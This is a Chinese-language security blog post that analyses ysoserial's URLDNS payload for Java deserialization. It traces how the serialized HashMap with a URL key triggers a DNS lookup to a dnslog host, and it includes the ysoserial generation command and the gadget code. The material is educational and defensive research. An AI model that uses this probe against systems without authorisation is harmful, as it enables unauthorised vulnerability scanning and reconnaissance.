Java反序列化之ysoserial URLDNS模块分析

  • A+
所属分类:安全文章

这是 酒仙桥六号部队 的第 109 篇文章。

全文共计6979个字,预计阅读时长20分钟


前言

Java反序列化漏洞 利用时,总会使用到ysoserial这款工具,安服仔用了很多,但是工具的原理却依旧不清不楚,当了这么久的脚本仔,是时候当一波(实习)研究仔,学习下这款工具各个Payload的原理了,下面我们先从漏洞探测模块URLDNS这个Payload开始学起,逐步衍生到漏洞利用模块。

为什么URLDNS模块会发送DNSLOG请求?


分析

下载ysoserial项目,打开pom.xml,程序入口在ysoserial.GeneratePayload

Java反序列化之ysoserial URLDNS模块分析

打开GeneratePayload.java,找到main方法,代码如下:

Java反序列化之ysoserial URLDNS模块分析

当我们使用ysoserial执行以下命令时:

java -jar .ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://lyxhh.dnslog.cn"  > dnslog.ser

首先ysoserial获取外面传入的参数,并赋值给对应的变量。

inal String payloadType = args[0]; // URLDNSfinal String command = args[1]; //http://lyxhh.dnslog.cn

接着执行Utils.getPayloadClass("URLDNS");,根据全限定类名ysoserial.payloads.URLDNS,获取对应的Class类对象。

Java反序列化之ysoserial URLDNS模块分析

final ObjectPayload payload = payloadClass.newInstance();

然后通过反射创建Class类对应的对象,走完这句代码,URLDNS对象创建完成。

final Object object = payload.getObject("http://lyxhh.dnslog.cn");

接着执行URLDNS对象中的getObject方法。

Java反序列化之ysoserial URLDNS模块分析

getObject方法中:

URLStreamHandler handler = new SilentURLStreamHandler();

创建了URLStreamHandler对象,该对象的作用,后面我们会详细说到。

接着:

HashMap ht = new HashMap();

创建了HashMap对象:

URL u = new URL(null"http://lyxhh.dnslog.cn", handler);

URL对象:

ht.put(u, "http://lyxhh.dnslog.cn");

将URL对象作为HashMap中的key,dnslog地址为值,存入HashMap中。

Reflections.setFieldValue(u, "hashCode"-1);

通过反射机制 设置URL对象的成员变量hashCode值为-1,为什么要设置值为-1,这问题在反序列化时会详细说到。

Java反序列化之ysoserial URLDNS模块分析

将HashMap对象返回return ht;,接着对HashMap对象进行序列化操作Serializer.serialize(object, out);并将序列化的结果重定向到dnslog.ser文件中。

Java反序列化之ysoserial URLDNS模块分析

由于HashMap中重写了writeObject方法,因此在进行序列化操作时,执行的序列化方法是HashMap中的writeObject方法,具体如下:

先执行默认的序列化操作:

Java反序列化之ysoserial URLDNS模块分析

接着 遍历HashMap,对HashMap中的key,value进行序列化。

Java反序列化之ysoserial URLDNS模块分析

综上所述,梳理下ysoserial payload,URLDNS 序列化的整个过程:

  • 首先 ysoserial 通过反射的方式,根据全限定类名ysoserial.payloads.URLDNS,获取对应的Class类对象,并通过Class类对象的newInstance()方法,获取URLDNS对象。

  • 接着执行URLDNS对象中的getObject方法。

    • 在getObject方法中,创建了URLStreamHandler 对象URLStreamHandler handler = new SilentURLStreamHandler();,该对象会被URL对象引用。

    • 创建HashMap对象HashMap ht = new HashMap();,URL对象URL u = new URL(null, "http://lyxhh.dnslog.cn", handler);

    • 将URL对象作为HashMap中的Key,DNSLOG的地址作为HashMap中的值HashMap.put(u, "http://lyxhh.dnslog.cn");

    • 通过反射的方式Reflections.setFieldValue(u, "hashCode", -1);,设置URL对象中的成员变量hashCode值为-1。

    • 返回HashMap对象。

  • 然后对HashMap对象进行序列化操作Serializer.serialize(HashMap object, out);

整个序列化过程中,有几个问题: 1、为什么要创建URLStreamHandler 对象,URL对象中默认的URLStreamHandler 对象不香吗。 2、为什么要设置URL对象中的成员变量hashCode值为-1。


反序列化分析

读取上述操作生成的dnslog.ser文件,执行反序列化,触发DNSLOG请求:

Java反序列化之ysoserial URLDNS模块分析

为什么HashMap的反序列化过程会发送DNSLOG请求呢?

在进行反序列化操作时,由于HashMap中重写了readObject方法,因此执行的反序列化方法是HashMap中的readObject方法,如下:

private void readObject(java.io.ObjectInputStream s)        throws IOException, ClassNotFoundException {    // Read in the threshold (ignored), loadfactor, and any hidden stuff    s.defaultReadObject(); // 执行默认的反序列化方法    reinitialize(); //初始化变量值    if (loadFactor <= 0 || Float.isNaN(loadFactor))        throw new InvalidObjectException("Illegal load factor: " +                                         loadFactor);    s.readInt();                // Read and ignore number of buckets    int mappings = s.readInt(); // Read number of mappings (size)    if (mappings < 0)        throw new InvalidObjectException("Illegal mappings count: " +                                         mappings);    else if (mappings > 0) { // (if zero, use defaults)        // Size the table using given load factor only if within        // range of 0.25...4.0        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);        float fc = (float)mappings / lf + 1.0f;        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?                   DEFAULT_INITIAL_CAPACITY :                   (fc >= MAXIMUM_CAPACITY) ?                   MAXIMUM_CAPACITY :                   tableSizeFor((int)fc));        float ft = (float)cap * lf;        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?                     (int)ft : Integer.MAX_VALUE);        @SuppressWarnings({"rawtypes","unchecked"})            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];        table = tab;
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); // 遍历hashmap,进行反序列化操作,还原key值,这里的key值,是URL对象。 @SuppressWarnings("unchecked") V value = (V) s.readObject(); // 还原value值,这里的value值,是dnslog的请求地址,http://lyxhh.dnslog.cn putVal(hash(key), key, value, false, false); //对key进行hash计算,确保唯一,并构造Hashmap对象。 } }}

readObject中,先执行默认的反序列化方法,接着还原HashMap,并计算Key,如下:

Java反序列化之ysoserial URLDNS模块分析

这里我们跟进hash(key)方法中。

Java反序列化之ysoserial URLDNS模块分析

接着执行了key.hashCode(),而key是URL对象,因此执行的是URL对象中的hashCode方法,继续跟进。

Java反序列化之ysoserial URLDNS模块分析

在序列化操作时,已经通过反射设置了URL的hashCode等于-1,因此这里会直接进入到handler.hashCode(this);中。

Java反序列化之ysoserial URLDNS模块分析

hashCode方法中会执行getHostAddress(URL u)方法,方法中调用了InetAddress.getByName(host);函数,从而发送DNSLOG请求。

Java反序列化之ysoserial URLDNS模块分析

使用InetAddress.getByName(host);,发送DNSLOG请求。

Java反序列化之ysoserial URLDNS模块分析

综上所述,梳理下ysoserial payload,URLDNS 反序列化的整个过程:

  • 首先 HashMap 重写了readObject方法,因此在反序列化过程中,执行的反序列化方法是HashMap中的readObject方法。

  • 在HashMap中的readObject方法中,会对Key进行hash计算key.hashCode(),而Key是URL对象,执行URL对象的hashCode方法。

  • 在URL.hashCode方法中,当hashCode成员变量值为-1时,会执行URLStreamHandler.hashCode()方法。

  • 在URLStreamHandler.hashCode()方法中,会执行getHostAddress(URL u)方法。

  • getHostAddress(URL u)方法中,会执行InetAddress.getByName(host);,从而发送DNSLOG请求。


解决序列化时遗留的问题

1、为什么要创建URLStreamHandler 对象,URL对象中默认的URLStreamHandler 对象不香吗。

URLDNS中getObject方法中。

public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL(null, url, handler); ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1); return ht;}
URLStreamHandler handler = new SilentURLStreamHandler();

创建了URLStreamHandler 对象。

这里我们先来看下SilentURLStreamHandler类。

static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException { return null; }
protected synchronized InetAddress getHostAddress(URL u) { return null; }}

SilentURLStreamHandler类继承URLStreamHandler,重写了openConnection,getHostAddress方法,将方法的实现置空了。

然后将handler传递给了URL构造函数。

URL u = new URL(null, url, handler); 

在URL构造函数中,如果handler存在,则执行 this.handler = handler;

接着我们执行了HashMap的put方法ht.put(u, url);,这里我们跟下put方法,如下:

Java反序列化之ysoserial URLDNS模块分析

在put方法中,执行了hash(key)方法,我们跟进hash方法:

Java反序列化之ysoserial URLDNS模块分析

跟进hashCode方法:

Java反序列化之ysoserial URLDNS模块分析

URL对象初始化后,hashCode值默认为-1。

Java反序列化之ysoserial URLDNS模块分析

因此第一次HashMap.put时,会进入handler.hashCode(this)注意这里的handler是SilentURLStreamHandler的对象,跟进URLStreamHandler.hashCode

Java反序列化之ysoserial URLDNS模块分析

URLStreamHandler.hashCode中 存在getHostAddress()方法,在反序列化分析时,我们知道该方法会发送DNSLOG请求,为了让HashMap在第一次put 元素时,不执行DNSLOG请求,因此,ysoserial重写了getHostAddress方法,将该方法置为空实现。

流程图对比:

使用默认的URLStreamHandler。

ht.put(new URL(null, url), url); -->   putVal(hash(key), key, value, false, true) -->     hash(key) -->       URL.hashCode() -->          URLStreamHandler.hashCode(this) -->           URLStreamHandler.getHostAddress(u) --> 发送DNSLog请求

使用重写的SilentURLStreamHandler。

URLStreamHandler handler = new SilentURLStreamHandler();ht.put(new URL(null, url, handler), url); -->   putVal(hash(key), key, value, false, true) -->     hash(key) -->       URL.hashCode() -->          URLStreamHandler.hashCode(this) -->           SilentURLStreamHandler.getHostAddress(u) --> 空实现。
transient URLStreamHandler handler;

由于handler的类型是transient,被transient修饰的变量在序列化时,不会被存储,因此不影响反序列化链的触发。(反序列化时,handler是默认的,没有将getHostAddress方法置空,依旧可以执行DNSLOG请求)

SilentURLStreamHandler重写的openConnection函数,经过分析在URLDNS中并没有使用到,之所以存在是因为SilentURLStreamHandler类继承URLStreamHandler抽象类,必须实现该抽象类中的所有抽象方法。

Java反序列化之ysoserial URLDNS模块分析

小结: URLDNS通过URL构造函数 传递 SilentURLStreamHandler类对象,该类重写了getHostAddress方法,将方法体置为空实现,旨在执行HashMap.put时,不会触发DNSLOG请求,降低对目标漏洞的误判率。

2、为什么要设置URL对象中的成员变量hashCode值为-1。

在URL对象创建时,hashCode值默认为-1。

接着进行了HashMap.put操作,计算key hash时,会执行URL.hashCode方法。

Java反序列化之ysoserial URLDNS模块分析

执行完handler.hashCode(this),会重置了hashCode成员变量的值,此时该值就不为-1了,这里我们通过反射获取 经过HashMap.put后的hashCode值,如下:

Java反序列化之ysoserial URLDNS模块分析

而hashCode变量没有被transient修饰,因此序列化时会将hashCode变量值存储进序列化数据中。

在进行反序列化操作时,由于hashCode值不为-1,不会执行handler.hashCode(this),从而导致无法发送DNSLOG请求。

因此在执行完HashMap.put后,需要反射将hashCode的值设置了-1,以便反序列化执行时,可以正常发送DNSLOG请求。

网上的分析文章,绝大部分都是分析如何触发DNSLOG,但是关于ysoserial的其他细节构造却只字不提。


总结

本文从工具的命令使用出发,由浅入深的分析了URLDNS Payload 执行序列化的过程,以及反序列化时是如何触发DNSLOG请求,接着分析了ysoserial构造URLDNS Payload 的一些必要的细节,希望我的分析可以给大家带来帮助,后续我们将继续从ysoserial工具学习更多的反序列化知识。


Java反序列化之ysoserial URLDNS模块分析

Java反序列化之ysoserial URLDNS模块分析

本文始发于微信公众号(酒仙桥六号部队):Java反序列化之ysoserial URLDNS模块分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: